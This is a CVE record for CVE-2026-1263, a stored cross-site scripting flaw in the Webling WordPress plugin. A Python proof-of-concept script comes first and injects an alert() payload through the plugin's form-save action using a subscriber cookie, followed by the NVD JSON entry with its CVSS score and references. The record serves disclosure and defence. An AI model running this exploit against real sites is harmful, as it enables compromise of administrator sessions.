CVE-2026-1263

#!/usr/bin/env python3 # PoC for CVE-2026-1263 (Stored XSS in Webling Plugin) # Requires authentication as a subscriber or higher. import requests target_url = "http://example.com/wp-admin/admin.php" cookie = {"wordpress_logged_in": "..."} # Replace with valid auth cookie # Malicious payload to be stored xss_payload = "<img src=x onerror=alert('XSS')>" data = { "action": "webling_admin_save_form", # or webling_admin_save_memberlist "form_id": "1", "form_name": "Test Form", "form_code": xss_payload # Injecting payload into vulnerable field } response = requests.post(target_url, data=data, cookies=cookie) if response.status_code == 200: print("[+] Payload sent successfully. Wait for Admin to view.") else: print("[-] Failed to send payload.")

{"cve": {"id": "CVE-2026-1263", "sourceIdentifier": "[email protected]", "published": "2026-04-10T02:16:02.083", "lastModified": "2026-04-24T18:01:58.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 3.9.0 due to insufficient input sanitization, insufficient output escaping, and missing capabilities checks in the 'webling_admin_save_form' and 'webling_admin_save_memberlist' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject Webling forms and memberlists with arbitrary web scripts that will execute whenever an administrator views the related form or memberlist area of the WordPress admin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/webling/tags/3.9.0/src/admin/actions/save_form.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/webling/tags/3.9.0/src/admin/actions/save_memberlist.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/webling/tags/3.9.0/src/admin/lists/Form_List.php#L122", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/webling/tags/3.9.0/src/admin/lists/Memberlist_List.php#L115", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fwebling/tags/3.9.0&new_path=%2Fwebling/tags/3.9.1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd8fbe0d-0709-4fa2-9294-393ddcd05b22?source=cve", "source": "[email protected]"}]}}